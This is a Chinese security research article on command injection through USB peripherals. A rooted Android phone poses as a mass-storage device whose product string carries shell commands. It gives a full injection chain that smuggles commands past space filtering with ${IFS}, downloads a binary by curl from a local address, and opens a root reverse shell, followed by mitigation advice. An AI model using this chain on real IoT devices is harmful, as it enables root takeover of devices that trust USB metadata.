利用USB外设实现恶意命令注入
2019-09-04 12:01:33 Author: mp.weixin.qq.com(查看原文) 阅读量:54 收藏

在许多的物联网设备中,用户是可以插入USB设备来执行某些操作的。不过目前的USB等外接设备,通常可以增大攻击面。

在实际测试中,我们发现,某些物联网设备会自动信任插入该设备的USB设备,如果设置了某些属性的话,插入的USB设备还会未经相应的安全检查,来创建安装目录名称。此外,某些安装过程还是通过C语言中 system函数实现的,system函数可以调用一些DOS命令,这样恶意USB设备就可以设置某些参数以实现任意命令执行。由于物联网设备的守护进程是以root身份运行的,这意味着,攻击者可以通过USB设备,然后伪装从用户执行命令了。

但是问题在于,如何利用USB外设实现命令注入?本文的目的,就是探索这个过程,由于可以在android 设备上配置android configfs gadgets,为此,我们需要使用一个已经取得root权限的Nexus 5X设备,并运行最新版本的Android系统,即8.1版本。至于本文介绍的方法是否适用于Android 9,还需要进行单独测试。

将Android设备变成一个Mass Storage Device

USB Mass Storage Device就是USB设备的驱动,USB Mass Storage DeviceUsb大容量存储设备,一般就指通过usb接口,接到电脑的U盘,移动硬盘。以本文为例,需要将Android设备变成一个Mass Storage Device,并带有以下属性:产品名称字符串、产品型号字符串和磁盘标签。当然,我们还可以自定义更多的属性,但这并非本文关注的内容。接下来,我们将从那些看起来似乎无用的设置开始入手。由于我们对ConfigFS非常熟悉,并且发现了`/config/usb_gadget`方法,所以,可以利用这个ConfigFS方法来创建一个快捷的大容量存储设备。通过我们创建的一个脚本,运行结果如下所示:

mkdir: '/config/usb_gadget/g1/functions/mass_storage.0': Function not implemented

所以该方法行不通,为此,我们又试了试Android中`init` 进程的内核空间,看看Android开发者为改变USB功能做了哪些工作。

Android的`init`中有两个不同的`.rc`文件:[init.usb.configfs.rc]和[init.usb.rc]。它们都会检查属性`sys.usb.configfs`:如果其值为`1`,则会使用`init.usb.configfs.rc`文件中相关条目,否则将使用`init.usb.rc`文件中的相关条目。在本文中,`sys.usb.configfs`的值为`0`,并且可以确定系统在`/sys/class/android_usb`目录中修改了一些内容。不过,我们没有考察`sys.usb.configfs`设置为`1`时会发生什么情况,但可以肯定的是,至少这种方法对于我来说是有效的。

既然已经将注意力转移到了`/sys/class/android_usb/android0`目录,那么不妨看看其中包含了哪些内容:

bullhead:/sys/class/android_usb/android0 # ls

bDeviceClass           f_acm          f_ffs          f_rmnet     iManufacturer           power

bDeviceProtocol        f_audio        f_gps          f_rmnet_smd iProduct                remote_wakeup

bDeviceSubClass        f_audio_source f_mass_storage f_rndis     iSerial                 state

bcdDevice              f_ccid         f_midi         f_rndis_qc  idProduct               subsystem

down_pm_qos_sample_sec f_charging     f_mtp          f_serial    idVendor                uevent

down_pm_qos_threshold  f_diag         f_ncm          f_uasp      idle_pc_rpm_no_int_secs up_pm_qos_sample_sec

enable                 f_ecm          f_ptp          f_usb_mbim  pm_qos                  up_pm_qos_threshold

f_accessory            f_ecm_qc       f_qdss         functions   pm_qos_state

`其中,`idVendor`、`idProduct`、`iProduct`、`iManufacturer`和`f_mass_storage`看起来有点面熟。如果你熟悉ConfigFS的话,就会发现`f_mass_storage`的内容与`mass_storage`函数的内容非常相似:

bullhead:/sys/class/android_usb/android0 # ls f_mass_storage

device inquiry_string lun luns power subsystem uevent

bullhead:/sys/class/android_usb/android0 # ls f_mass_storage/lun

file nofua power ro uevent

这到底是咋回事,其实我们也不太清楚。不过,这并不影响我们通过创建恶意USB设备来发动攻击。幸运的是,源代码和设备本身为我们提供了许多提示,这些都能帮助我们弄清楚如何使用这个目录。

在`init.usb.rc`中,经常会遇到如下所示的代码:

write /sys/class/android_usb/android0/enable 0

           ....

write /sys/class/android_usb/android0/functions ${sys.usb.config}

write /sys/class/android_usb/android0/enable 1

那么,当插入一个USB设备,并使用ADB时,会运行哪些函数呢?

bullhead:/sys/class/android_usb/android0 # cat functions

ffs

由于ADB是使用FunctionFS实现的,而`ffs`看起来像是FunctionFS的简写,所以,此时很可能启用的就是FunctionFS。接下来,我们可以改变该值,例如把它设置为`mass_storage`,然后看看会发生什么。

bullhead:/sys/class/android_usb/android0 # echo 0 > enable

可以看到,ADB会话被关闭了,此时USB连接自然也会被关闭。现在,我们已经知道ADB非常适合在TCP/IP上工作,所以,重启它:

adb tcpip 5555

adb connect 192.168.1.18:5555

接下来,我们可以关闭USB并切换到USB Mass Storage Device模式,看看会发生什么情况。

bullhead:/sys/class/android_usb/android0 # echo 0 > enable

bullhead:/sys/class/android_usb/android0 # echo mass_storage > functions

bullhead:/sys/class/android_usb/android0 # echo 1 > enable

可以看到既没有报错,也没有发生崩溃,运行正常。如果你熟悉ConfigFS,则可以修改`f_mass_storage/lun/file`,让USB Mass Storage Device成为后端设备。接下来,我们介绍如何创建一个让USB Mass Storage Device变为后端存储器的镜像文件。

创建镜像文件

在制作镜像时需要牢记的一件事情是,设法控制磁盘标签的值(如`blkid`所示)。为此,我们可以创建一个文件,然后使用它即可。请注意,写入USB磁盘中的内容并不重要,这里只是希望目标设备将其识别为USB Mass Storage Device,进而安装该设备。下面,开始创建我们的后端镜像文件:

dd if=/dev/zero of=backing.img count=50 bs=1M

这将创建一个名为`backing.img`、大小为50MB的文件,该文件的内容都是0值。实际上,这里的内容并不重要,因为下面我们会用`fdisk`命令对其进行格式化。对于老练的Linux黑客来说,完全可以通过编写相应的脚本来完成这些工作:

echo -e -n 'o\nn\n\n\n\n\nt\nc\nw\n' | fdisk backing.img

运行结果如下:

Welcome to fdisk (util-linux 2.31.1).

Changes will remain in memory only, until you decide to write them.

Be careful before using the write command.

Device does not contain a recognized partition table.

Created a new DOS disklabel with disk identifier 0xd643eccd.

Command (m for help): Created a new DOS disklabel with disk identifier 0x50270950.

Command (m for help): Partition type

   p   primary (0 primary, 0 extended, 4 free)

   e   extended (container for logical partitions)

Select (default p):

Using default response p.

Partition number (1-4, default 1): First sector (2048-20479, default 2048): Last sector, +sectors or +size{K,M,G,T,P} (2048-20479, default 20479):

Created a new partition 1 of type 'Linux' and of size 9 MiB.

Command (m for help): Selected partition 1

Hex code (type L to list all codes): Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'.

Command (m for help): The partition table has been altered.

Syncing disks.

此时,我们将创建一个带有`DOS`分区表和单个`FAT32`分区的镜像,其他内容都是默认的设置。接下来,我们要完成格式化处理,并设置标签:

# losetup --offset 1048576 -f backing.img /dev/loop0

# mkdosfs -n "HAX" /dev/loop0

# losetup -d /dev/loop0

其中,“1048576”是“2048 * 512”的结果。现在,我们只是将上面创建的镜像附加为`/dev/loop0`设备,并运行一个简单的`mkdosfs`命令,其中`-n "HAX"`对本例来说非常重要,因为它使得我们可以控制标签。

利用USB外设实现命令注入

借助上面创建的镜像,我们就可以创建完整的USB设备了:

$ adb tcpip 5555

$ adb connect 192.168.1.18:5555

$ adb push backing.img /dev/local/tmp/

$ adb shell

在`adb shell`中:

$ su

# echo 0 > /sys/class/android_usb/android0/enable

# echo '/data/local/tmp/backing.img' > /sys/class/android_usb/android0/f_mass_storage/lun/file

# echo 'mass_storage' > /sys/class/android_usb/android0/functions

# echo 1 > /sys/class/android_usb/android0/enable

如果一切顺利,则会进行如下运行:

# lsusb -v -d 18d1:

Bus 003 Device 036: ID 18d1:4ee7 Google Inc.

Device Descriptor:

  bLength                18

  bDescriptorType         1

  bcdUSB               2.00

  bDeviceClass            0 (Defined at Interface level)

  bDeviceSubClass         0

  bDeviceProtocol         0

  bMaxPacketSize0        64

  idVendor           0x18d1 Google Inc.

  idProduct          0x4ee7

  bcdDevice            3.10

  iManufacturer           1 LGE

  iProduct                2 Nexus 5X

  iSerial                 3 0000000000000000

  bNumConfigurations      1

  Configuration Descriptor:

    bLength                 9

    bDescriptorType         2

    wTotalLength           32

    bNumInterfaces          1

    bConfigurationValue     1

    iConfiguration          0

    bmAttributes         0x80

      (Bus Powered)

    MaxPower              500mA

    Interface Descriptor:

      bLength                 9

      bDescriptorType         4

      bInterfaceNumber        0

      bAlternateSetting       0

      bNumEndpoints           2

      bInterfaceClass         8 Mass Storage

      bInterfaceSubClass      6 SCSI

      bInterfaceProtocol     80 Bulk-Only

      iInterface              5 Mass Storage

      Endpoint Descriptor:

        bLength                 7

        bDescriptorType         5

        bEndpointAddress     0x81  EP 1 IN

        bmAttributes            2

          Transfer Type            Bulk

          Synch Type               None

          Usage Type               Data

        wMaxPacketSize     0x0200  1x 512 bytes

        bInterval               0

      Endpoint Descriptor:

        bLength                 7

        bDescriptorType         5

        bEndpointAddress     0x01  EP 1 OUT

        bmAttributes            2

          Transfer Type            Bulk

          Synch Type               None

          Usage Type               Data

        wMaxPacketSize     0x0200  1x 512 bytes

        bInterval               1

Device Qualifier (for other device speed):

  bLength                10

  bDescriptorType         6

  bcdUSB               2.00

  bDeviceClass            0 (Defined at Interface level)

  bDeviceSubClass         0

  bDeviceProtocol         0

  bMaxPacketSize0        64

  bNumConfigurations      1

Device Status:     0x0000

  (Bus Powered)

这样,我们就可以看到该设备了:

$ ls -lh /dev/disk/by-id

lrwxrwxrwx 1 root root  9 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0 -> ../../sdb

lrwxrwxrwx 1 root root 10 Aug  2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0-part1 -> ../../sdb1

接下来,我们就能够安装该设备了:

$ mkdir HAX && sudo mount /dev/sdb1 HAX

完成安装后,我们就可以考虑改变参数了:

# echo 0 > /sys/class/android_usb/android0/enable

# echo 1337 > /sys/class/android_usb/android0/idProduct

# echo 'Carve Systems' > /sys/class/android_usb/android0/iManufacturer

# echo '1337 Hacking Team' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable

$ lsusb -v -d 18d1:

Bus 003 Device 044: ID 18d1:1337 Google Inc. 

Device Descriptor:

            ....

  idProduct          0x1337 

            ....

  iManufacturer           1 Carve Systems

  iProduct                2 1337 Hacking USB

            ....

这样,恶意USB设备就设置完成了。

POC

为了帮助读者充分认识到该漏洞的严重性,我们在本文中给出一个POC示例代码:

snprintf(dir, DIR_SIZE, "/mnt/storage/%s%s%s", LABEL, iManufacturer, iProduct);

snprintf(cmd, CMD_SIZE, "mount %s %s", /dev/DEVICE, dir);

system(cmd);

上面的代码将完成下列操作:

1. 利用易受攻击的守护进程的`cwd`下载一个shell脚本,用以生成一个反向shell;

2. 用`sh`执行该文件。

有时,系统会从这些变量中删除空格和`/`,但幸运的是,`system`会将其传递给一个理解`$IFS`和子shell的shell。对于Android设备来说,这个漏洞的利用方法也很简单,具体的命令可以按如下方式进行构建:

echo 0 > enable

echo ';{cmd};' > iProduct

echo 1 > enable

完整的命令链如下所示,为了阅读方便,我们删除了一些必要的sleep命令:

# echo 0 > /sys/class/android_usb/android0/enable

# echo ';echo${IFS}b=`printf$IFS'"'"'\\x2f'"'"'`>>a;' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable

# echo ';echo${IFS}s=\"$IFS\">>a;' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable

# echo ';echo${IFS}u=http:\$b\${b}192.168.1.152:8000\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable

# echo ';echo${IFS}curl\$s-s\$s-o\${s}shell\$s\$u>>a;' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable

# echo ';echo${IFS}chmod\$s+x\${s}shell>>a;' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable

# echo ';echo${IFS}\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable

# echo 0 > /sys/class/android_usb/android0/enable

# echo ';sh${IFS}a;' > /sys/class/android_usb/android0/iProduct

# echo 1 > /sys/class/android_usb/android0/enable

可以把这些命令可以放到一个文件(`/a`)中:

b=/

s=" "

u=http:$b${b}192.168.1.152:8000${b}shell

curl$s-s$s-o${s}shell$s$u

chmod$s+x${s}shell

${b}shell

最后一个命令是用`sh a`执行这个文件,这个脚本将会拉取一个我们编写的二进制文件来获取反向shell。此后,你可以向反向shell发送自己喜欢的payload。在执行完最后一个命令后,恶意注入就完成了:

$ nc -l -p 3567

id

uid=0(root) gid=0(root) groups=0(root)

缓解措施

我们的安全建议是:

1. 不要信任任何外部插入设备;

2. 不要太相信黑名单措施,因为有时也会存在容易绕过的漏洞。

当然,还是有许多方法可以避免这个问题的,但无论对于哪种缓解措施,最重要的就是不要信任从外部设备中读取的属性。如果需要唯一名称,请生成相应的UUID。如果你需要一个独一无二的名称,并且要求对于给定设备来说是不变的,请验证所需的参数是否存在,然后使用SHA256或你喜欢的哈希算法计算它们的哈希值。此外,C函数`system`也应该谨慎使用。


文章来源: https://mp.weixin.qq.com/s/mduEmq253_AIkNmZIBe6-A
如有侵权请联系:admin#unsafe.sh